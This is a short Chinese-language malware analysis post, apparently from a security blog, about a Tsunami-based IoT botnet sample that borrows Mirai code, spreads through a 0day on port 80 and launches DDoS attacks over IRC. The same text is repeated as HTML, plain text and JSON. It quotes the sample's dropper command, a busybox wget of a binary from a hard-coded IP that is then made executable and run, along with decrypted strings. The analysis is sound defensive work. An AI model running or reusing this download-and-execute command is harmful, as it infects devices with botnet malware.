Tsunami 0day 样本分析
<!--kg-card-begin: markdown--><p>因为样本代码框架是Tsunami，加入了一些Mirai的代码，并没有特别之处，我们只做简要分析。</p>
<h2 id="0day">使用0day进行传播</h2>
<p>样本运行后首先创建exploit传播进程，通过随机算法生成目标IP地址（生成算法来自mirai）。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>接着扫描80端口开放情况，如果开放则构建Exp包向80端口发送Exp Payload。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/exp_payload.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Exp攻击成功后，目标设备会从下载服务器下载样本并执行感染设备。</p>
<pre><code>busybox wget http://43.225.100.90/armv7l -O /tmp/upnp.debug; 
chmod 777 /tmp/upnp.debug; 
/tmp/upnp.debug
</code></pre>
<h2 id="ddos">主要功能DDoS</h2>
<p>在创建exploit子进程后，样本开始通过IRC协议连接服务器等待进一步指令。样本的主要功能是发起DDoS攻击，DDoS攻击种类如下：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>虽然样本使用Tsunami框架代码和协议，但是里面也加入了Mirai的代码，其中字串加密方法完全照抄Mirai。从解出来的字串中可以看到Mirai的字样。</p>
<pre><code>/proc/
/exe
/fd
/proc/net/tcp
/status
/proc/net/route
assword
hdyuk82upoklm28oa0hnmuqigvxj9pq
/tmp/
/maps
shell
enable
system
sh
/bin/busybox MIRAI
MIRAI: applet not found
</code></pre>
<!--kg-card-end: markdown--><p> </p>
因为样本代码框架是Tsunami，加入了一些Mirai的代码，并没有特别之处，我们只做简要分析。



使用0day进行传播


样本运行后首先创建exploit传播进程，通过随机算法生成目标IP地址（生成算法来自mirai）。


接着扫描80端口开放情况，如果开放则构建Exp包向80端口发送Exp Payload。


Exp攻击成功后，目标设备会从下载服务器下载样本并执行感染设备。


busybox wget http://43.225.100.90/armv7l -O /tmp/upnp.debug; 
chmod 777 /tmp/upnp.debug; 
/tmp/upnp.debug




主要功能DDoS


在创建exploit子进程后，样本开始通过IRC协议连接服务器等待进一步指令。样本的主要功能是发起DDoS攻击，DDoS攻击种类如下：


虽然样本使用Tsunami框架代码和协议，但是里面也加入了Mirai的代码，其中字串加密方法完全照抄Mirai。从解出来的字串中可以看到Mirai的字样。


/proc/
/exe
/fd
/proc/net/tcp
/status
/proc/net/route
assword
hdyuk82upoklm28oa0hnmuqigvxj9pq
/tmp/
/maps
shell
enable
system
sh
/bin/busybox MIRAI
MIRAI: applet not found




{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n因为样本代码框架是Tsunami，加入了一些Mirai的代码，并没有特别之处，我们只做简要分析。\n\n## 使用0day进行传播\n\n\n样本运行后首先创建exploit传播进程，通过随机算法生成目标IP地址（生成算法来自mirai）。\n\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG"}],["markdown",{"markdown":"\n接着扫描80端口开放情况，如果开放则构建Exp包向80端口发送Exp Payload。"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/exp_payload.png"}],["markdown",{"markdown":"\n\nExp攻击成功后，目标设备会从下载服务器下载样本并执行感染设备。\n\n```\nbusybox wget http://43.225.100.90/armv7l -O /tmp/upnp.debug; \nchmod 777 /tmp/upnp.debug; \n/tmp/upnp.debug\n```\n\n\n## 主要功能DDoS\n\n在创建exploit子进程后，样本开始通过IRC协议连接服务器等待进一步指令。样本的主要功能是发起DDoS攻击，DDoS攻击种类如下：\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG"}],["markdown",{"markdown":"虽然样本使用Tsunami框架代码和协议，但是里面也加入了Mirai的代码，其中字串加密方法完全照抄Mirai。从解出来的字串中可以看到Mirai的字样。\n```\n/proc/\n/exe\n/fd\n/proc/net/tcp\n/status\n/proc/net/route\nassword\nhdyuk82upoklm28oa0hnmuqigvxj9pq\n/tmp/\n/maps\nshell\nenable\nsystem\nsh\n/bin/busybox MIRAI\nMIRAI: applet not found\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[1,"p",[[0,[],0," "]]]],"ghostVersion":"3.0"}